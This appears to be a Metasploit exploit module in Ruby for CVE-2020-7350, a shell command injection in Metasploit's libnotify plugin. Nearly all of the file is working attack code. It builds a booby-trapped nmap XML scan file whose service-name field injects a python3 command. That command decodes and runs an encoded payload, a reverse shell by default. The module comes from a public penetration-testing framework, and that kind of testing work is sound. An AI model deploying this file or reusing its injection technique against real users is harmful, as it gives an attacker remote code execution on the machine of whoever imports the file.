adfoster-r7
78 lines
2.6 KiB
Ruby
78 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Metasploit Libnotify Plugin Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a shell command injection vulnerability in the
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libnotify plugin. This vulnerability affects Metasploit versions
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5.0.79 and earlier.
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},
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'DisclosureDate' => '2020-03-04',
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'License' => GPL_LICENSE,
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'Author' => [
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'pasta <jaguinaga@faradaysec.com>' # Discovery and PoC
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],
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'References' => [
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[ 'CVE', '2020-7350' ],
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[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/13026' ]
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],
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' => {
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'DisableNops' => true
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},
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_python'
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},
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'Targets' => [[ 'Automatic', {}]],
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'Privileged' => false,
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK ],
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'Reliability' => [ UNRELIABLE_SESSION ]
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}
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)
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)
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register_options(
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[
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OptString.new('FILENAME', [false, 'The file to write.', 'scan.xml']),
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]
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)
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end
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def exploit
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xml = %(<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE nmaprun>
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<nmaprun scanner="nmap" args="nmap -P0 -oA pepito 192.168.20.121" start="1583503480" startstr="Fri Mar 6 11:04:40 2020" version="7.60" xmloutputversion="1.04">
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<host starttime="1583503480" endtime="1583503480"><status state="up" reason="user-set" reason_ttl="0"/>
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<address addr="192.168.20.121" addrtype="ipv4"/>
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<hostnames>
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</hostnames>
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<ports>
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<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';python3 -c "import os,base64;os.system(base64.b32decode(b'#{Rex::Text.encode_base32(payload.encoded)}'.upper()))"&; printf '" method="table" conf="3"/></port>
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</ports>
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<times srtt="6174" rttvar="435" to="100000"/>
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</host>
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<runstats><finished time="1583503480" timestr="Fri Mar 6 11:04:40 2020" elapsed="0.22" summary="Nmap done at Fri Mar 6 11:04:40 2020; 1 IP address (1 host up) scanned in 0.22 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
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</runstats>
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</nmaprun>
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)
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print_status "Writing xml file: #{datastore['FILENAME']}"
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file_create xml
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end
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end
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